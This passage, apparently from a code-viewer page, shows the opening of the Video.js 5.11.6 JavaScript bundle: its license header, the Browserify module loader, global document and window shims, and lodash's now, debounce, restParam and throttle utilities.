16202172021820219202202022120222202232022420225202262022720228202292023020231202322023320234202352023620237202382023920240202412024220243202442024520246202472024820249202502025120252202532025420255202562025720258202592026020261202622026320264202652026620267202682026920270202712027220273202742027520276202772027820279202802028120282202832028420285202862028720288202892029020291202922029320294202952029620297202982029920300203012030220303203042030520306203072030820309203102031120312203132031420315203162031720318203192032020321203222032320324203252032620327203282032920330203312033220333203342033520336203372033820339203402034120342203432034420345203462034720348203492035020351203522035320354203552035620357203582035920360203612036220363203642036520366203672036820369203702037120372203732037420375203762037720378203792038020381203822038320384203852038620387203882038920390203912039220393203942039520396203972039820399204002040120402204032040420405204062040720408204092041020411204122041320414204152041620417204182041920420204212042220423204242042520426204272042820429204302043120432204332043420435204362043720438204392044020441204422044320444204452044620447204482044920450204512045220453204542045520456204572045820459204602046120462204632046420465204662046720468204692047020471204722047320474204752047620477204782047920480204812048220483204842048520486204872048820489204902049120492204932049420495204962049720498204992050020501205022050320504205052050620507205082050920510205112051220513205142051520516205172051820519205202052120522205232052420525205262052720528205292053020531205322053320534205352053620537205382053920540205412054220543205442054520546205472054820549205502055120552205532055420555205562055720558205592056020561205622056320564205652056620567205682056920570205712057220573205742057520576205772057820579205802058120582205832058420585205862058720588205892059020591205922059320594205952059620597205982059920600206012060220603206042060520606206072060820609206102061120612206132061420615206162061720618206192062020621206222062320624206252062620627206282062920630206312063220633206342063520636206372063820639206402064120642206432064420645206462064720648206492065020651206522065320654206552065620657206582065920660206612066220663206642066520666206672066820669206702067120672206732067420675206762067720678206792068020681206822068320684206852068620687206882068920690206912069220693206942069520696206972069820699207002070120702207032070420705207062070720708207092071020711207122071320714207152071620717207182071920720207212072220723207242072520726207272072820729207302073120732207332073420735207362073720738207392074020741207422074320744207452074620747207482074920750207512075220753207542075520756207572075820759207602076120762207632076420765207662076720768207692077020771207722077320774207752077620777207782077920780207812078220783207842078520786207872078820789207902079120792207932079420795207962079720798207992080020801208022080320804208052080620807208082080920810208112081220813208142081520816208172081820819208202082120822208232082420825208262082720828208292083020831208322083320834208352083620837208382083920840208412084220843208442084520846208472084820849208502085120852208532085420855208562085720858208592086020861208622086320864208652086620867208682086920870208712087220873208742087520876208772087820879208802088120882208832088420885208862088720888208892089020891208922089320894208952089620897208982089920900209012090220903209042090520906209072090820909209102091120912209132091420915209162091720918209192092020921209222092320924209252092620927209282092920930209312093220933209342093520936209372093820939209402094120942209432094420945209462094720948209492095020951209522095320954209552095620957209582095920960209612096220963209642096520966209672096820969209702097120972209732097420975209762097720978209792098020981209822098320984209852098620987209882098920990209912099220993209942099520996209972099820999210002100121002210032100421005210062100721008210092101021011210122101321014210152101621017210182101921020210212102221023210242102521026210272102821029210302103121032210332103421035210362103721038210392104021041210422104321044210452104621047210482104921050210512105221053210542105521056210572105821059210602106121062210632106421065210662106721068210692107021071210722107321074210752107621077210782107921080210812108221083210842108521086210872108821089210902109121092210932109421095210962109721098210992110021101211022110321104211052110621107211082110921110211112111221113211142111521116211172111821119211202112121122211232112421125211262112721128211292113021131211322113321134211352113621137211382113921140211412114221143211442114521146211472114821149211502115121152211532115421155211562115721158211592116021161211622116321164211652116621167211682116921170211712117221173211742117521176211772117821179211802118121182211832118421185211862118721188211892119021191211922119321194211952119621197211982119921200212012120221203212042120521206212072120821209212102121121212212132121421215212162121721218212192122021221212222122321224212252122621227212282122921230212312123221233212342123521236212372123821239212402124121242212432124421245212462124721248212492125021251212522125321254212552125621257212582125921260212612126221263212642126521266212672126821269212702127121272212732127421275212762127721278212792128021281212822128321284212852128621287212882128921290212912129221293212942129521296212972129821299213002130121302213032130421305213062130721308213092131021311213122131321314213152131621317213182131921320213212132221323213242132521326213272132821329213302133121332213332133421335213362133721338213392134021341213422134321344213452134621347213482134921350213512135221353213542135521356213572135821359213602136121362213632136421365213662136721368213692137021371213722137321374213752137621377213782137921380213812138221383213842138521386213872138821389213902139121392213932139421395213962139721398213992140021401214022140321404214052140621407214082140921410214112141221413214142141521416214172141821419214202142121422214232142421425214262142721428214292143021431214322143321434214352143621437214382143921440214412144221443214442144521446214472144821449214502145121452214532145421455214562145721458214592146021461214622146321464214652146621467214682146921470214712147221473214742147521476214772147821479214802148121482214832148421485214862148721488214892149021491214922149321494214952149621497214982149921500215012150221503215042150521506215072150821509215102151121512215132151421515215162151721518215192152021521215222152321524215252152621527215282152921530215312153221533215342153521536215372153821539215402154121542215432154421545215462154721548215492155021551215522155321554215552155621557215582155921560215612156221563215642156521566215672156821569215702157121572215732157421575215762157721578215792158021581215822158321584215852158621587215882158921590215912159221593215942159521596215972159821599216002160121602216032160421605216062160721608216092161021611216122161321614216152161621617216182161921620216212162221623216242162521626216272162821629216302163121632216332163421635216362163721638216392164021641216422164321644216452164621647216482164921650216512165221653216542165521656216572165821659216602166121662216632166421665216662166721668216692167021671216722167321674216752167621677216782167921680216812168221683216842168521686216872168821689216902169121692216932169421695216962169721698216992170021701217022170321704217052170621707217082170921710217112171221713217142171521716217172171821719217202172121722217232172421725217262172721728217292173021731217322173321734217352173621737217382173921740217412174221743217442174521746217472174821749217502175121752217532175421755217562175721758217592176021761217622176321764217652176621767217682176921770217712177221773217742177521776217772177821779217802178121782217832178421785217862178721788217892179021791217922179321794217952179621797217982179921800218012180221803218042180521806218072180821809218102181121812218132181421815218162181721818218192182021821218222182321824218252182621827218282182921830218312183221833218342183521836218372183821839218402184121842218432184421845218462184721848218492185021851218522185321854218552185621857218582185921860218612186221863218642186521866218672186821869218702187121872218732187421875218762187721878218792188021881218822188321884218852188621887218882188921890218912189221893218942189521896218972189821899219002190121902219032190421905219062190721908219092191021911219122191321914219152191621917219182191921920219212192221923219242192521926219272192821929219302193121932219332193421935219362193721938219392194021941219422194321944219452194621947219482194921950219512195221953219542195521956219572195821959219602196121962219632196421965219662196721968219692197021971219722197321974219752197621977219782197921980219812198221983219842198521986219872198821989219902199121992219932199421995219962199721998219992200022001220022200322004220052200622007220082200922010220112201222013220142201522016220172201822019220202202122022220232202422025220262202722028220292203022031220322203322034220352203622037220382203922040220412204222043220442204522046220472204822049220502205122052220532205422055220562205722058220592206022061220622206322064220652206622067220682206922070220712207222073220742207522076220772207822079220802208122082220832208422085220862208722088220892209022091220922209322094220952209622097220982209922100221012210222103221042210522106221072210822109221102211122112221132211422115221162211722118221192212022121221222212322124221252212622127221282212922130221312213222133221342213522136221372213822139221402214122142221432214422145221462214722148221492215022151221522215322154221552215622157221582215922160221612216222163221642216522166221672216822169221702217122172221732217422175221762217722178221792218022181221822218322184221852218622187221882218922190221912219222193221942219522196221972219822199222002220122202222032220422205222062220722208222092221022211222122221322214222152221622217222182221922220222212222222223222242222522226222272222822229222302223122232222332223422235222362223722238222392224022241222422224322244222452224622247222482224922250222512225222253222542225522256222572225822259222602226122262222632226422265222662226722268222692227022271222722227322274222752227622277222782227922280222812228222283222842228522286222872228822289222902229122292222932229422295222962229722298222992230022301223022230322304223052230622307223082230922310223112231222313223142231522316223172231822319223202232122322223232232422325223262232722328223292233022331223322233322334223352233622337223382233922340223412234222343223442234522346223472234822349223502235122352223532235422355223562235722358223592236022361223622236322364223652236622367223682236922370223712237222373223742237522376223772237822379223802238122382223832238422385223862238722388223892239022391223922239322394223952239622397223982239922400224012240222403224042240522406224072240822409224102241122412224132241422415224162241722418224192242022421224222242322424224252242622427224282242922430224312243222433224342243522436224372243822439224402244122442224432244422445224462244722448224492245022451224522245322454224552245622457224582245922460224612246222463224642246522466224672246822469224702247122472224732247422475224762247722478224792248022481224822248322484224852248622487224882248922490224912249222493224942249522496224972249822499225002250122502225032250422505225062250722508225092251022511225122251322514225152251622517225182251922520225212252222523225242252522526225272252822529225302253122532225332253422535225362253722538225392254022541225422254322544225452254622547225482254922550225512255222553225542255522556225572255822559225602256122562225632256422565225662256722568225692257022571225722257322574225752257622577225782257922580225812258222583225842258522586225872258822589225902259122592225932259422595225962259722598225992260022601226022260322604226052260622607226082260922610226112261222613226142261522616226172261822619226202262122622226232262422625226262262722628226292263022631226322263322634226352263622637226382263922640226412264222643226442264522646226472264822649226502265122652226532265422655226562265722658226592266022661226622266322664226652266622667226682266922670226712267222673226742267522676226772267822679226802268122682226832268422685226862268722688226892269022691226922269322694226952269622697226982269922700227012270222703227042270522706227072270822709227102271122712227132271422715227162271722718227192272022721227222272322724227252272622727227282272922730227312273222733227342273522736227372273822739227402274122742227432274422745227462274722748227492275022751227522275322754227552275622757227582275922760227612276222763227642276522766227672276822769227702277122772227732277422775227762277722778227792278022781227822278322784227852278622787227882278922790227912279222793227942279522796227972279822799228002280122802228032280422805228062280722808228092281022811228122281322814228152281622817228182281922820228212282222823228242282522826228272282822829228302283122832228332283422835228362283722838228392284022841228422284322844228452284622847228482284922850228512285222853228542285522856228572285822859228602286122862228632286422865228662286722868228692287022871228722287322874228752287622877228782287922880228812288222883228842288522886228872288822889228902289122892228932289422895228962289722898228992290022901229022290322904229052290622907229082290922910229112291222913229142291522916229172291822919229202292122922229232292422925229262292722928229292293022931229322293322934229352293622937229382293922940229412294222943229442294522946229472294822949229502295122952229532295422955229562295722958229592296022961229622296322964229652296622967229682296922970229712297222973229742297522976229772297822979229802298122982229832298422985229862298722988229892299022991229922299322994229952299622997229982299923000230012300223003230042300523006230072300823009230102301123012230132301423015230162301723018230192302023021230222302323024230252302623027230282302923030230312303223033230342303523036230372303823039230402304123042230432304423045230462304723048230492305023051230522305323054230552305623057230582305923060230612306223063230642306523066230672306823069230702307123072230732307423075230762307723078230792308023081230822308323084230852308623087230882308923090230912309223093230942309523096230972309823099231002310123102231032310423105231062310723108231092311023111231122311323114231152311623117231182311923120231212312223123231242312523126231272312823129231302313123132231332313423135231362313723138231392314023141231422314323144231452314623147231482314923150231512315223153231542315523156231572315823159231602316123162231632316423165231662316723168231692317023171231722317323174231752317623177231782317923180231812318223183231842318523186231872318823189231902319123192231932319423195231962319723198231992320023201232022320323204232052320623207232082320923210232112321223213232142321523216232172321823219232202322123222232232322423225232262322723228232292323023231232322323323234232352323623237232382323923240232412324223243232442324523246232472324823249232502325123252232532325423255232562325723258232592326023261232622326323264232652326623267232682326923270232712327223273232742327523276232772327823279232802328123282232832328423285232862328723288232892329023291232922329323294232952329623297232982329923300233012330223303233042330523306233072330823309233102331123312233132331423315233162331723318233192332023321233222332323324233252332623327233282332923330233312333223333233342333523336233372333823339233402334123342233432334423345233462334723348233492335023351233522335323354233552335623357233582335923360233612336223363233642336523366233672336823369233702337123372233732337423375233762337723378233792338023381233822338323384233852338623387233882338923390233912339223393233942339523396233972339823399234002340123402234032340423405234062340723408234092341023411234122341323414234152341623417234182341923420234212342223423234242342523426234272342823429234302343123432234332343423435234362343723438234392344023441234422344323444234452344623447234482344923450234512345223453234542345523456234572345823459234602346123462234632346423465234662346723468234692347023471234722347323474234752347623477234782347923480234812348223483234842348523486234872348823489234902349123492234932349423495234962349723498234992350023501235022350323504235052350623507235082350923510235112351223513235142351523516235172351823519235202352123522235232352423525235262352723528235292353023531235322353323534235352353623537235382353923540235412354223543235442354523546235472354823549235502355123552235532355423555235562355723558235592356023561235622356323564235652356623567235682356923570235712357223573235742357523576235772357823579235802358123582235832358423585235862358723588235892359023591235922359323594235952359623597235982359923600236012360223603236042360523606236072360823609236102361123612236132361423615236162361723618236192362023621236222362323624236252362623627236282362923630236312363223633236342363523636236372363823639236402364123642236432364423645236462364723648236492365023651236522365323654236552365623657236582365923660236612366223663236642366523666236672366823669236702367123672236732367423675236762367723678236792368023681236822368323684236852368623687236882368923690236912369223693236942369523696236972369823699237002370123702237032370423705237062370723708237092371023711237122371323714237152371623717237182371923720237212372223723237242372523726237272372823729237302373123732237332373423735237362373723738237392374023741237422374323744237452374623747237482374923750237512375223753237542375523756237572375823759237602376123762237632376423765237662376723768237692377023771237722377323774237752377623777237782377923780237812378223783237842378523786237872378823789237902379123792237932379423795237962379723798237992380023801238022380323804238052380623807238082380923810238112381223813238142381523816238172381823819238202382123822238232382423825238262382723828238292383023831238322383323834238352383623837238382383923840238412384223843238442384523846238472384823849238502385123852238532385423855238562385723858238592386023861238622386323864238652386623867238682386923870238712387223873238742387523876238772387823879238802388123882238832388423885238862388723888238892389023891238922389323894238952389623897238982389923900239012390223903239042390523906239072390823909239102391123912239132391423915239162391723918239192392023921239222392323924239252392623927239282392923930239312393223933239342393523936239372393823939239402394123942239432394423945239462394723948239492395023951239522395323954239552395623957239582395923960239612396223963239642396523966239672396823969239702397123972239732397423975239762397723978239792398023981239822398323984239852398623987239882398923990239912399223993239942399523996239972399823999240002400124002240032400424005240062400724008240092401024011240122401324014240152401624017240182401924020240212402224023240242402524026240272402824029240302403124032240332403424035240362403724038240392404024041240422404324044240452404624047240482404924050240512405224053240542405524056240572405824059240602406124062240632406424065240662406724068240692407024071240722407324074240752407624077240782407924080240812408224083240842408524086240872408824089240902409124092240932409424095240962409724098240992410024101241022410324104241052410624107241082410924110241112411224113241142411524116241172411824119241202412124122241232412424125241262412724128241292413024131241322413324134241352413624137241382413924140241412414224143241442414524146241472414824149241502415124152241532415424155241562415724158241592416024161241622416324164241652416624167241682416924170241712417224173241742417524176241772417824179241802418124182241832418424185241862418724188241892419024191241922419324194241952419624197241982419924200242012420224203242042420524206242072420824209242102421124212242132421424215242162421724218242192422024221242222422324224242252422624227242282422924230242312423224233242342423524236242372423824239242402424124242242432424424245242462424724248242492425024251242522425324254242552425624257242582425924260242612426224263242642426524266242672426824269242702427124272242732427424275242762427724278242792428024281242822428324284242852428624287242882428924290242912429224293242942429524296242972429824299243002430124302243032430424305243062430724308243092431024311243122431324314243152431624317243182431924320243212432224323243242432524326243272432824329243302433124332243332433424335243362433724338243392434024341243422434324344243452434624347243482434924350243512435224353243542435524356243572435824359243602436124362243632436424365243662436724368243692437024371243722437324374243752437624377243782437924380243812438224383243842438524386243872438824389243902439124392243932439424395243962439724398243992440024401244022440324404244052440624407244082440924410244112441224413244142441524416244172441824419244202442124422244232442424425244262442724428244292443024431244322443324434244352443624437244382443924440244412444224443244442444524446244472444824449244502445124452244532445424455244562445724458244592446024461244622446324464244652446624467244682446924470244712447224473244742447524476244772447824479244802448124482244832448424485244862448724488244892449024491244922449324494244952449624497
  1. /**
  2. * @license
  3. * Video.js 5.11.6 <http://videojs.com/>
  4. * Copyright Brightcove, Inc. <https://www.brightcove.com/>
  5. * Available under Apache License Version 2.0
  6. * <https://github.com/videojs/video.js/blob/master/LICENSE>
  7. *
  8. * Includes vtt.js <https://github.com/mozilla/vtt.js>
  9. * Available under Apache License Version 2.0
  10. * <https://github.com/mozilla/vtt.js/blob/master/LICENSE>
  11. */
  12. (function(f){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=f()}else if(typeof define==="function"&&define.amd){define([],f)}else{var g;if(typeof window!=="undefined"){g=window}else if(typeof global!=="undefined"){g=global}else if(typeof self!=="undefined"){g=self}else{g=this}g.videojs = f()}})(function(){var define,module,exports;return (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(_dereq_,module,exports){
  13. (function (global){
  14. var topLevel = typeof global !== 'undefined' ? global :
  15. typeof window !== 'undefined' ? window : {}
  16. var minDoc = _dereq_('min-document');
  17. if (typeof document !== 'undefined') {
  18. module.exports = document;
  19. } else {
  20. var doccy = topLevel['__GLOBAL_DOCUMENT_CACHE@4'];
  21. if (!doccy) {
  22. doccy = topLevel['__GLOBAL_DOCUMENT_CACHE@4'] = minDoc;
  23. }
  24. module.exports = doccy;
  25. }
  26. }).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {})
  27. //# sourceMappingURL=data:application/json;charset:utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIm5vZGVfbW9kdWxlcy9nbG9iYWwvZG9jdW1lbnQuanMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IjtBQUFBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBIiwiZmlsZSI6ImdlbmVyYXRlZC5qcyIsInNvdXJjZVJvb3QiOiIiLCJzb3VyY2VzQ29udGVudCI6WyJ2YXIgdG9wTGV2ZWwgPSB0eXBlb2YgZ2xvYmFsICE9PSAndW5kZWZpbmVkJyA/IGdsb2JhbCA6XG4gICAgdHlwZW9mIHdpbmRvdyAhPT0gJ3VuZGVmaW5lZCcgPyB3aW5kb3cgOiB7fVxudmFyIG1pbkRvYyA9IHJlcXVpcmUoJ21pbi1kb2N1bWVudCcpO1xuXG5pZiAodHlwZW9mIGRvY3VtZW50ICE9PSAndW5kZWZpbmVkJykge1xuICAgIG1vZHVsZS5leHBvcnRzID0gZG9jdW1lbnQ7XG59IGVsc2Uge1xuICAgIHZhciBkb2NjeSA9IHRvcExldmVsWydfX0dMT0JBTF9ET0NVTUVOVF9DQUNIRUA0J107XG5cbiAgICBpZiAoIWRvY2N5KSB7XG4gICAgICAgIGRvY2N5ID0gdG9wTGV2ZWxbJ19fR0xPQkFMX0RPQ1VNRU5UX0NBQ0hFQDQnXSA9IG1pbkRvYztcbiAgICB9XG5cbiAgICBtb2R1bGUuZXhwb3J0cyA9IGRvY2N5O1xufVxuIl19
  28. },{"min-document":3}],2:[function(_dereq_,module,exports){
  29. (function (global){
  30. if (typeof window !== "undefined") {
  31. module.exports = window;
  32. } else if (typeof global !== "undefined") {
  33. module.exports = global;
  34. } else if (typeof self !== "undefined"){
  35. module.exports = self;
  36. } else {
  37. module.exports = {};
  38. }
  39. }).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {})
  40. //# sourceMappingURL=data:application/json;charset:utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIm5vZGVfbW9kdWxlcy9nbG9iYWwvd2luZG93LmpzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7QUFBQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQSIsImZpbGUiOiJnZW5lcmF0ZWQuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlc0NvbnRlbnQiOlsiaWYgKHR5cGVvZiB3aW5kb3cgIT09IFwidW5kZWZpbmVkXCIpIHtcbiAgICBtb2R1bGUuZXhwb3J0cyA9IHdpbmRvdztcbn0gZWxzZSBpZiAodHlwZW9mIGdsb2JhbCAhPT0gXCJ1bmRlZmluZWRcIikge1xuICAgIG1vZHVsZS5leHBvcnRzID0gZ2xvYmFsO1xufSBlbHNlIGlmICh0eXBlb2Ygc2VsZiAhPT0gXCJ1bmRlZmluZWRcIil7XG4gICAgbW9kdWxlLmV4cG9ydHMgPSBzZWxmO1xufSBlbHNlIHtcbiAgICBtb2R1bGUuZXhwb3J0cyA9IHt9O1xufVxuIl19
  41. },{}],3:[function(_dereq_,module,exports){
  42. },{}],4:[function(_dereq_,module,exports){
  43. var getNative = _dereq_('../internal/getNative');
  44. /* Native method references for those with the same name as other `lodash` methods. */
  45. var nativeNow = getNative(Date, 'now');
  46. /**
  47. * Gets the number of milliseconds that have elapsed since the Unix epoch
  48. * (1 January 1970 00:00:00 UTC).
  49. *
  50. * @static
  51. * @memberOf _
  52. * @category Date
  53. * @example
  54. *
  55. * _.defer(function(stamp) {
  56. * console.log(_.now() - stamp);
  57. * }, _.now());
  58. * // => logs the number of milliseconds it took for the deferred function to be invoked
  59. */
  60. var now = nativeNow || function() {
  61. return new Date().getTime();
  62. };
  63. module.exports = now;
  64. },{"../internal/getNative":20}],5:[function(_dereq_,module,exports){
  65. var isObject = _dereq_('../lang/isObject'),
  66. now = _dereq_('../date/now');
  67. /** Used as the `TypeError` message for "Functions" methods. */
  68. var FUNC_ERROR_TEXT = 'Expected a function';
  69. /* Native method references for those with the same name as other `lodash` methods. */
  70. var nativeMax = Math.max;
  71. /**
  72. * Creates a debounced function that delays invoking `func` until after `wait`
  73. * milliseconds have elapsed since the last time the debounced function was
  74. * invoked. The debounced function comes with a `cancel` method to cancel
  75. * delayed invocations. Provide an options object to indicate that `func`
  76. * should be invoked on the leading and/or trailing edge of the `wait` timeout.
  77. * Subsequent calls to the debounced function return the result of the last
  78. * `func` invocation.
  79. *
  80. * **Note:** If `leading` and `trailing` options are `true`, `func` is invoked
  81. * on the trailing edge of the timeout only if the the debounced function is
  82. * invoked more than once during the `wait` timeout.
  83. *
  84. * See [David Corbacho's article](http://drupalmotion.com/article/debounce-and-throttle-visual-explanation)
  85. * for details over the differences between `_.debounce` and `_.throttle`.
  86. *
  87. * @static
  88. * @memberOf _
  89. * @category Function
  90. * @param {Function} func The function to debounce.
  91. * @param {number} [wait=0] The number of milliseconds to delay.
  92. * @param {Object} [options] The options object.
  93. * @param {boolean} [options.leading=false] Specify invoking on the leading
  94. * edge of the timeout.
  95. * @param {number} [options.maxWait] The maximum time `func` is allowed to be
  96. * delayed before it's invoked.
  97. * @param {boolean} [options.trailing=true] Specify invoking on the trailing
  98. * edge of the timeout.
  99. * @returns {Function} Returns the new debounced function.
  100. * @example
  101. *
  102. * // avoid costly calculations while the window size is in flux
  103. * jQuery(window).on('resize', _.debounce(calculateLayout, 150));
  104. *
  105. * // invoke `sendMail` when the click event is fired, debouncing subsequent calls
  106. * jQuery('#postbox').on('click', _.debounce(sendMail, 300, {
  107. * 'leading': true,
  108. * 'trailing': false
  109. * }));
  110. *
  111. * // ensure `batchLog` is invoked once after 1 second of debounced calls
  112. * var source = new EventSource('/stream');
  113. * jQuery(source).on('message', _.debounce(batchLog, 250, {
  114. * 'maxWait': 1000
  115. * }));
  116. *
  117. * // cancel a debounced call
  118. * var todoChanges = _.debounce(batchLog, 1000);
  119. * Object.observe(models.todo, todoChanges);
  120. *
  121. * Object.observe(models, function(changes) {
  122. * if (_.find(changes, { 'user': 'todo', 'type': 'delete'})) {
  123. * todoChanges.cancel();
  124. * }
  125. * }, ['delete']);
  126. *
  127. * // ...at some point `models.todo` is changed
  128. * models.todo.completed = true;
  129. *
  130. * // ...before 1 second has passed `models.todo` is deleted
  131. * // which cancels the debounced `todoChanges` call
  132. * delete models.todo;
  133. */
  134. function debounce(func, wait, options) {
  135. var args,
  136. maxTimeoutId,
  137. result,
  138. stamp,
  139. thisArg,
  140. timeoutId,
  141. trailingCall,
  142. lastCalled = 0,
  143. maxWait = false,
  144. trailing = true;
  145. if (typeof func != 'function') {
  146. throw new TypeError(FUNC_ERROR_TEXT);
  147. }
  148. wait = wait < 0 ? 0 : (+wait || 0);
  149. if (options === true) {
  150. var leading = true;
  151. trailing = false;
  152. } else if (isObject(options)) {
  153. leading = !!options.leading;
  154. maxWait = 'maxWait' in options && nativeMax(+options.maxWait || 0, wait);
  155. trailing = 'trailing' in options ? !!options.trailing : trailing;
  156. }
  157. function cancel() {
  158. if (timeoutId) {
  159. clearTimeout(timeoutId);
  160. }
  161. if (maxTimeoutId) {
  162. clearTimeout(maxTimeoutId);
  163. }
  164. lastCalled = 0;
  165. maxTimeoutId = timeoutId = trailingCall = undefined;
  166. }
  167. function complete(isCalled, id) {
  168. if (id) {
  169. clearTimeout(id);
  170. }
  171. maxTimeoutId = timeoutId = trailingCall = undefined;
  172. if (isCalled) {
  173. lastCalled = now();
  174. result = func.apply(thisArg, args);
  175. if (!timeoutId && !maxTimeoutId) {
  176. args = thisArg = undefined;
  177. }
  178. }
  179. }
  180. function delayed() {
  181. var remaining = wait - (now() - stamp);
  182. if (remaining <= 0 || remaining > wait) {
  183. complete(trailingCall, maxTimeoutId);
  184. } else {
  185. timeoutId = setTimeout(delayed, remaining);
  186. }
  187. }
  188. function maxDelayed() {
  189. complete(trailing, timeoutId);
  190. }
  191. function debounced() {
  192. args = arguments;
  193. stamp = now();
  194. thisArg = this;
  195. trailingCall = trailing && (timeoutId || !leading);
  196. if (maxWait === false) {
  197. var leadingCall = leading && !timeoutId;
  198. } else {
  199. if (!maxTimeoutId && !leading) {
  200. lastCalled = stamp;
  201. }
  202. var remaining = maxWait - (stamp - lastCalled),
  203. isCalled = remaining <= 0 || remaining > maxWait;
  204. if (isCalled) {
  205. if (maxTimeoutId) {
  206. maxTimeoutId = clearTimeout(maxTimeoutId);
  207. }
  208. lastCalled = stamp;
  209. result = func.apply(thisArg, args);
  210. }
  211. else if (!maxTimeoutId) {
  212. maxTimeoutId = setTimeout(maxDelayed, remaining);
  213. }
  214. }
  215. if (isCalled && timeoutId) {
  216. timeoutId = clearTimeout(timeoutId);
  217. }
  218. else if (!timeoutId && wait !== maxWait) {
  219. timeoutId = setTimeout(delayed, wait);
  220. }
  221. if (leadingCall) {
  222. isCalled = true;
  223. result = func.apply(thisArg, args);
  224. }
  225. if (isCalled && !timeoutId && !maxTimeoutId) {
  226. args = thisArg = undefined;
  227. }
  228. return result;
  229. }
  230. debounced.cancel = cancel;
  231. return debounced;
  232. }
  233. module.exports = debounce;
  234. },{"../date/now":4,"../lang/isObject":33}],6:[function(_dereq_,module,exports){
  235. /** Used as the `TypeError` message for "Functions" methods. */
  236. var FUNC_ERROR_TEXT = 'Expected a function';
  237. /* Native method references for those with the same name as other `lodash` methods. */
  238. var nativeMax = Math.max;
  239. /**
  240. * Creates a function that invokes `func` with the `this` binding of the
  241. * created function and arguments from `start` and beyond provided as an array.
  242. *
  243. * **Note:** This method is based on the [rest parameter](https://developer.mozilla.org/Web/JavaScript/Reference/Functions/rest_parameters).
  244. *
  245. * @static
  246. * @memberOf _
  247. * @category Function
  248. * @param {Function} func The function to apply a rest parameter to.
  249. * @param {number} [start=func.length-1] The start position of the rest parameter.
  250. * @returns {Function} Returns the new function.
  251. * @example
  252. *
  253. * var say = _.restParam(function(what, names) {
  254. * return what + ' ' + _.initial(names).join(', ') +
  255. * (_.size(names) > 1 ? ', & ' : '') + _.last(names);
  256. * });
  257. *
  258. * say('hello', 'fred', 'barney', 'pebbles');
  259. * // => 'hello fred, barney, & pebbles'
  260. */
  261. function restParam(func, start) {
  262. if (typeof func != 'function') {
  263. throw new TypeError(FUNC_ERROR_TEXT);
  264. }
  265. start = nativeMax(start === undefined ? (func.length - 1) : (+start || 0), 0);
  266. return function() {
  267. var args = arguments,
  268. index = -1,
  269. length = nativeMax(args.length - start, 0),
  270. rest = Array(length);
  271. while (++index < length) {
  272. rest[index] = args[start + index];
  273. }
  274. switch (start) {
  275. case 0: return func.call(this, rest);
  276. case 1: return func.call(this, args[0], rest);
  277. case 2: return func.call(this, args[0], args[1], rest);
  278. }
  279. var otherArgs = Array(start + 1);
  280. index = -1;
  281. while (++index < start) {
  282. otherArgs[index] = args[index];
  283. }
  284. otherArgs[start] = rest;
  285. return func.apply(this, otherArgs);
  286. };
  287. }
  288. module.exports = restParam;
  289. },{}],7:[function(_dereq_,module,exports){
  290. var debounce = _dereq_('./debounce'),
  291. isObject = _dereq_('../lang/isObject');
  292. /** Used as the `TypeError` message for "Functions" methods. */
  293. var FUNC_ERROR_TEXT = 'Expected a function';
  294. /**
  295. * Creates a throttled function that only invokes `func` at most once per
  296. * every `wait` milliseconds. The throttled function comes with a `cancel`
  297. * method to cancel delayed invocations. Provide an options object to indicate
  298. * that `func` should be invoked on the leading and/or trailing edge of the
  299. * `wait` timeout. Subsequent calls to the throttled function return the
  300. * result of the last `func` call.
  301. *
  302. * **Note:** If `leading` and `trailing` options are `true`, `func` is invoked
  303. * on the trailing edge of the timeout only if the the throttled function is
  304. * invoked more than once during the `wait` timeout.
  305. *
  306. * See [David Corbacho's article](http://drupalmotion.com/article/debounce-and-throttle-visual-explanation)
  307. * for details over the differences between `_.throttle` and `_.debounce`.
  308. *
  309. * @static
  310. * @memberOf _
  311. * @category Function
  312. * @param {Function} func The function to throttle.
  313. * @param {number} [wait=0] The number of milliseconds to throttle invocations to.
  314. * @param {Object} [options] The options object.
  315. * @param {boolean} [options.leading=true] Specify invoking on the leading
  316. * edge of the timeout.
  317. * @param {boolean} [options.trailing=true] Specify invoking on the trailing
  318. * edge of the timeout.
  319. * @returns {Function} Returns the new throttled function.
  320. * @example
  321. *
  322. * // avoid excessively updating the position while scrolling
  323. * jQuery(window).on('scroll', _.throttle(updatePosition, 100));
  324. *
  325. * // invoke `renewToken` when the click event is fired, but not more than once every 5 minutes
  326. * jQuery('.interactive').on('click', _.throttle(renewToken, 300000, {
  327. * 'trailing': false
  328. * }));
  329. *
  330. * // cancel a trailing throttled call
  331. * jQuery(window).on('popstate', throttled.cancel);
  332. */
  333. function throttle(func, wait, options) {
  334. var leading = true,
  335. trailing = true;
  336. if (typeof func != 'function') {
  337. throw new TypeError(FUNC_ERROR_TEXT);
  338. }
  339. if (options === false) {
  340. leading = false;
  341. } else if (isObject(options)) {
  342. leading = 'leading' in options ? !!options.leading : leading;
  343. trailing = 'trailing' in options ? !!options.trailing : trailing;
  344. }
  345. return debounce(func, wait, { 'leading': leading, 'maxWait': +wait, 'trailing': trailing });
  346. }
  347. module.exports = throttle;
  348. },{"../lang/isObject":33,"./debounce":5}],8:[function(_dereq_,module,exports){
  349. /**
  350. * Copies the values of `source` to `array`.
  351. *
  352. * @private
  353. * @param {Array} source The array to copy values from.
  354. * @param {Array} [array=[]] The array to copy values to.
  355. * @returns {Array} Returns `array`.
  356. */
  357. function arrayCopy(source, array) {
  358. var index = -1,
  359. length = source.length;
